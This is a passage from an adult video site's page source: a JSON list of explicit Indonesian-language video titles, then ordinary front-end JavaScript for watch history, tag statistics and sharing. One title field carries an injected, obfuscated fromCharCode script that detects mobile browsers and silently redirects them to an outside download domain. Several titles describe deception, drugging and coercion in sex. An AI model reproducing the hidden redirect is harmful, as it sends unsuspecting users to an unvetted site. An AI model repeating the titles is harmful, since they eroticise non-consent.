Kencan di hotel dengan wanita menikah berusia 40 tahun yang dikenal dan memiliki payudara besar","lastmod":"2026-07-11","duration":"19:03","url":"/play/19166842.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMThlM2MwZDI2ZjA0ODY5ZTFjODJmYzc0Y2QwMzA4ODAuanBn.cache","vod_id":18994993,"title":"[Versi Potongan Definisi Tinggi] 483sgk-081 [Vulva yang Dicukur, Kecantikan Super Basah] [Payudara G-Cup, Dewi Berkepala 9 yang Ramping]","lastmod":"2025-03-23","duration":"01:47:15","url":"/play/18994993.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWE2ODFlMzJmNWYwODBlYzM0YmE1YWI1M2I5Yzc2N2IuanBn.cache","vod_id":18931603,"title":"ATID-241 Era Romantis yang Kejam Episode 2: Klimaks Tragis Perbudakan - Boneka - Erina Fujisaki","lastmod":"2025-12-14","duration":"03:01:24","url":"/play/18931603.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTEwYmQ1NGYxNmJmZGUzZmRhODQyYjRiMmE0ZjZlNGQuanBn.cache","vod_id":18942780,"title":"[Subtitle Bahasa Mandarin] JRZD-908 Pembuatan Film Dokumenter Pertama Seorang Wanita yang Sudah Menikah - Naho Takasawa","lastmod":"2025-12-14","duration":"02:01:48","url":"/play/18942780.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmJmNTk5YmRmNGNhNjcxMDM0OWRkODYyMGViZGI0MzIuanBn.cache","vod_id":18946753,"title":"[Subtitle Bahasa Mandarin] SSNI-712 Seorang pekerja kantoran wanita yang baru lulus dan seorang kepala seksi paruh baya berbagi kamar dalam perjalanan bisnis.","lastmod":"2025-03-22","duration":"01:58:37","url":"/play/18946753.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDc3MmNiNTgwYWQ4ZGFmMzRlZTljOWE5MmZhMjM5NjYuanBn.cache","vod_id":18948128,"title":"[Subtitle Bahasa Mandarin] SUPA-481 Amatir Berpayudara I-cup (19 tahun) syuting pribadi sepenuhnya","lastmod":"2025-12-14","duration":"02:29:53","url":"/play/18948128.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmU5YThiY2FjMWI1ZDNjNmJmMWJiYTNjNjk5ZmM5NGEuanBn.cache","vod_id":18934924,"title":"[Subtitle Bahasa Mandarin] FSET-872 Oh, sungguh! Seorang wanita haus tiba-tiba menerobos masuk! Aku dipaksa menjilat penisku oleh dua wanita.","lastmod":"2025-12-14","duration":"01:50:11","url":"/play/18934924.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly8xNTI2MDMwOXAudG9wLzIwMjYwMzEyL0Nma1hSbmt0LzEuanBn.cache","vod_id":19148085,"title":"Pasangan lesbian - Dia gemetar dan mencapai klimaks dari belakang sambil diperlakukan kasar - Rekaman pribadi","lastmod":"2026-03-13","duration":"09:05","url":"/play/19148085.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTU1MjJlNGNlNTdmYjBlMGRjMjdmYjQxZTZjM2UyODAuanBn.cache","vod_id":19011467,"title":"FUFU184 (HD) Menipu istri yang lebih tua untuk mendapatkan pijat minyak afrodisiak [Disensor, HD, Subtitel Bahasa Mandarin].","lastmod":"2025-03-24","duration":"01:10:24","url":"/play/19011467.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGIyY2VjYzg1ZDNmZDI2YTZmM2ZhYTY1M2I5OTE2NTYuanBn.cache","vod_id":18971957,"title":"[Subtitle Bahasa Mandarin] STARS-792 Saat sahabatku dan pacarnya pergi kencan romantis ke pemandian air panas, aku dan pacar sahabatku menjalin hubungan yang semakin dekat... Kami diam-diam bercinta berkali-kali, itu rahasia.","lastmod":"2025-12-14","duration":"02:33:17","url":"/play/18971957.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTdlNmJkOGE3YmE0MGIyM2M1Y2U4Njk1ZjhhMTNjYjUuanBn.cache","vod_id":18936623,"title":"[Subtitle Bahasa Mandarin] IPX-390 Seorang gadis dari pedesaan Niigata datang ke Tokyo ingin berhubungan seks!","lastmod":"2025-03-22","duration":"02:29:43","url":"/play/18936623.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODlhOTc5M2IyY2Q0MDExYTU1NTAyYmM4MmJmMmIzMjEuanBn.cache","vod_id":18945321,"title":"[Subtitle Bahasa Mandarin] KIL-052 Pijat Peremajaan Kulit Cabul Berkecepatan Penuh dari Pakar Payudara Besar","lastmod":"2025-12-14","duration":"02:07:36","url":"/play/18945321.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjMvMWU3ZTVhZDdiZmYwMjkzNWIyN2JlZmViNjkxN2ZhYjkuanBn.cache","vod_id":19030545,"title":"Versi lengkap definisi tinggi dari seorang wanita yang ditipu untuk berhubungan seks oleh seorang fotografer.","lastmod":"2025-04-23","duration":"21:35","url":"/play/19030545.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGViNmNjOGJjMmUzMTdmM2U2MjZmMDkwYTQ3NTlkYjQuanBn.cache","vod_id":19025842,"title":"WANZ840 Seorang gadis dengan orgasme terus-menerus dan perasaan melayang tinggi, seluruh tubuhnya penuh dengan zona erotis. Dia memulai debutnya di AV dengan kejang dan orgasme tanpa henti. Dia memiliki tubuh yang sangat sensitif dan pikirannya benar-benar kosong... Hikari Hikari.","lastmod":"2025-03-24","duration":"01:59:32","url":"/play/19025842.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvZDBiZmQ1NDJhNjhiM2M5ZGM1ZGU0OGVhN2E4MzZjMzUuanBn.cache","vod_id":19167900,"title":"TPPN-118 Perbudakan batang baja dan orgasme yang luar biasa Mizuno Asahi, Ito Mao, Hoshizora Kiyoshi Lahaina Tokai","lastmod":"2026-07-12","duration":"02:45:38","url":"/play/19167900.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzg3Mzc1MmQyMjExZjUzZGFjMjRmOTFiY2RiYmVjYzYuanBn.cache","vod_id":18973464,"title":"[Subtitle Bahasa Mandarin] HMN-370 Mahasiswi saya yang montok telah menjadi pembantu rumah tangga saya. Sekarang saya menekan payudaranya erat-erat ke tubuhnya dan melakukan hubungan seks cream pie dengannya, membuatnya mencapai orgasme berulang kali. Sakura Kurumi","lastmod":"2025-12-14","duration":"01:56:26","url":"/play/18973464.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTUvYzlhMDg3NDIwOTBhMzZhMzcyYjkyZDVlMDNmZmM5ZGYuanBn.cache","vod_id":19038380,"title":"MIFD252 Sosok ramping yang sangat cantik, berkembang secara seksual, orgasme semburan ekstrem, penis besar menghantam sosok ramping, 3 adegan nyata semburan cairan erotis orgasme 5","lastmod":"2025-06-15","duration":"02:30:20","url":"/play/19038380.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTIzMThmN2QyMjRlMDkzMGViZGZjN2FjODNkYjE4MmUuanBn.cache","vod_id":18987423,"title":"HEYZO 2457 Masturbasi sampai basah kuyup! Seks klimaks dengan gadis yang haus Vol.12 - Non Suzumiya","lastmod":"2025-12-14","duration":"01:01:30","url":"/play/18987423.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjdkNzMxN2I0NjQxZTI3NzZlNTBmMWQ0NDk5YWEyOGEuanBn.cache","vod_id":18989630,"title":"CAWD-040 menampilkan seorang selebriti internet tomboy yang diam-diam memiliki payudara besar di sebuah situs video tertentu. Bahkan setelah mencapai orgasme, ia masih terus-menerus mengalami dorongan yang kuat hingga benar-benar kewalahan oleh dorongan seperti piston yang terus menerus, membuatnya menangis tak terkendali. Sato Riko","lastmod":"2025-03-23","duration":"01:59:32","url":"/play/18989630.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMzM3MjcwYTIwMjZhMDI2MTdmMDk2N2EwOTRmMDI1MjMuanBn.cache","vod_id":19163859,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Diintip saat masturbasi dan terlibat dalam perselingkuhan terlarang, seorang menantu perempuan cantik dan seksi mencapai orgasme oleh ayah mertuanya yang tidak disukai. Tubuhnya yang tidak puas bereaksi... Hatsune Miku, Hatsune Minori, Karuma","lastmod":"2026-07-11","duration":"02:02:13","url":"/play/19163859.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTBkMmE5N2NmMTYwNmNiYjgyODAxOTU0YzJjYzgwMDcuanBn.cache","vod_id":19005905,"title":"[HD Bahasa Mandarin] Pacar saya disetubuhi di depan saya (targetnya adalah seorang pembawa berita) dan kemudian secara aktif menggoyangkan pinggulnya setelah terangsang.","lastmod":"2025-03-24","duration":"01:59:12","url":"/play/19005905.html"}]},
videoTitle: '[HD Bahasa Mandarin] Seorang wanita yang sudah menikah berdiri di dekat jendela seberang dan mengalami orgasme yang terhambat oleh putingnya.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}